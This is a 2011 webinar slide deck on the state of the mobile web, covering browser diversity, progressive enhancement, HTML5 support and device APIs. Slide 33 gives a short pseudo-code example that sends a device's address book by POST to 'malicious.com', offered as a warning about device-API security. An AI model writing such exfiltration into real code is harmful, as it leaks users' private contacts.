State of the mobile web

1. State of the mobile web Peter-Paul Koch http://quirksmode.org http://twitter.com/ppk Gomez Webinar , 24 March 2011 z

2. Mobile First! • Design your sites for mobile first. • You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display. • The things you leave out of the mobile version don’t really need to be in the desktop version, either.

3. The mobile browsers • Safari iPhone • Android WebKit • Dolfin for bada • BlackBerry WebKit • Opera Mobile • Opera Mini • MicroB • Nokia WebKit • Firefox • Obigo WebKit • Ovi • Bolt • BlackBerry old • Phantom • Obigo old • NetFront • IE • UCWeb You may groan now.

4. The mobile browsers • Safari iPhone • Android WebKit • Dolfin for bada • BlackBerry WebKit • Opera Mobile • Opera Mini • MicroB • Nokia WebKit • Firefox • Obigo WebKit • Ovi • Bolt • BlackBerry old • Phantom • Obigo old • NetFront • IE • UCWeb WebKit-based

5. WebKit on Mobile There is no WebKit on mobile! There's iPhone Safari (2 and 3), and Android (1.0 and 1.5)‏ and S60 WebKit (v3 and v5)‏ and Blackberry WebKit, and Palm WebKit, and Bolt, Ozone, Teashark, and a few more These WebKits are all different.

6. Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html

7. The mobile browsers • Safari iPhone • Android WebKit • Dolfin for bada • BlackBerry WebKit • Opera Mobile • Opera Mini • MicroB • Nokia WebKit • Firefox • Obigo WebKit • Ovi • Bolt • BlackBerry old • Phantom • Obigo old • NetFront • IE • UCWeb

8. The mobile browsers • Safari iPhone • Android WebKit • Dolfin for bada • BlackBerry WebKit • Opera Mobile • Opera Mini • MicroB • Nokia WebKit • Firefox • Obigo WebKit • Ovi • Bolt • BlackBerry old • Phantom • Obigo old • NetFront • IE • UCWeb Proxy browsers

9. Proxy browsers • Page is downloaded to and rendered on a specialised server. • A highly compressed image is sent to the client. • Advantage: cheap, both in device and in network costs • Disadvantage: no client-side interactivity

10. Global stats Q4 2010(by StatCounter)

11. Browser stats • Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats. • Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.

12. Stats(global, Q4 2010)

13. But usually this is what happens Rest? What rest?

14. Which mobile browsers? • Safari iPhone • Opera Mini • Android WebKit • US: BlackBerry (WebKit and older) • Europe: Nokia WebKit • Dolfin for bada (easy) • Opera Mobile (easy)

15. Progressive enhancement How do you deal with this immense amount of browsers? Use advanced tricks, but make sure your site remains usable without them. The site is enhanced as much as the browser allows.

16. Progressive enhancement HTML All browsers support HTML. That’s the definition of a browser.

17. Progressive enhancement Basic CSS HTML All browsers support most basic CSS. There will be bugs, but only few.

18. Progressive enhancement Advanced CSS Basic CSS HTML Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.

19. Progressive enhancement Advanced CSS Basic CSS Basic JavaScript HTML All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.

20. Progressive enhancement Advanced CSS Advanced JavaScript Basic CSS Basic JavaScript HTML Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.

21. Performance How long does it take to generate 250 lists with 20 items each? The following graphs give the number of seconds it took the browsers. http://quirksmode.org/m/tests/DOMspeed.html

22. Performance

23. Performance

24. HTML5 • Which browsers support HTML5? • What is HTML5, anyway? • Ask five web developers and they’ll give you five different answers.

25. HTML5 • Offline storage • Video and audio • Canvas • New input types • Websockets • New semantics • SVG • File API • etc. etc. etc.

26. Offline storage • Safari iPhone • Android WebKit • Dolfin for bada • BlackBerry WebKit • Opera Mobile • Opera Mini • MicroB • Nokia WebKit • Firefox • Obigo WebKit • Ovi • Bolt • BlackBerry old • Phantom • Obigo old • NetFront • IE • UCWeb

27. SVG • Safari iPhone • Android WebKit • Dolfin for bada • BlackBerry WebKit • Opera Mobile • Opera Mini • MicroB • Nokia WebKit • Firefox • Obigo WebKit • Ovi • Bolt • BlackBerry old • Phantom • Obigo old • NetFront • IE • UCWeb

28. New input types • Safari iPhone • Android WebKit • Dolfin for bada • BlackBerry WebKit • Opera Mobile • Opera Mini • MicroB • Nokia WebKit • Firefox • Obigo WebKit • Ovi • Bolt • BlackBerry old • Phantom • Obigo old • NetFront • IE • UCWeb

29. HTML5 • Which browsers support HTML5? • It depends. • HTML5 is mainly a marketing buzzword. • That’s not bad; we need it. • But it has no technical meaning.

30. HTML5 apps • One core app written in HTML, CSS, and JavaScript. • Deployed to several mobile platforms. • Ideally, CSS and JavaScript are stored on the device. • If it can't be deployed it's still a website.

31. Symbian Windows Mobile I’ve done it. In April 2009.

32. Device APIs • Native apps offer device APIs. • They allow you to access the camera, accelerometer, SMS, file system, etc. • Web apps will have to offer them, too. device.phone.call(device.addressBook['mom'])‏

33. Device APIs var ab = device.addressBook.toString(); sendRequest(POST,'malicious.com',ab); There’s a serious security problem here. Providing trusted apps might remain an app store function.

34. Summary • Mobile First! Design for mobile, and your desktop site will become better, too. • Use progressive enhancement. Lots of it. It will keep you sane. • Know which browsers to develop for.

35. Which mobile browsers? • Safari iPhone • Opera Mini • Android WebKit • US: BlackBerry (WebKit and older) • Europe: Nokia WebKit • Dolfin for bada (easy) • Opera Mobile (easy)

36. Thank you • Peter-Paul Koch • http://quirksmode.org • http://twitter.com/ppk • Gomez Webinar , 24 March 2011 • z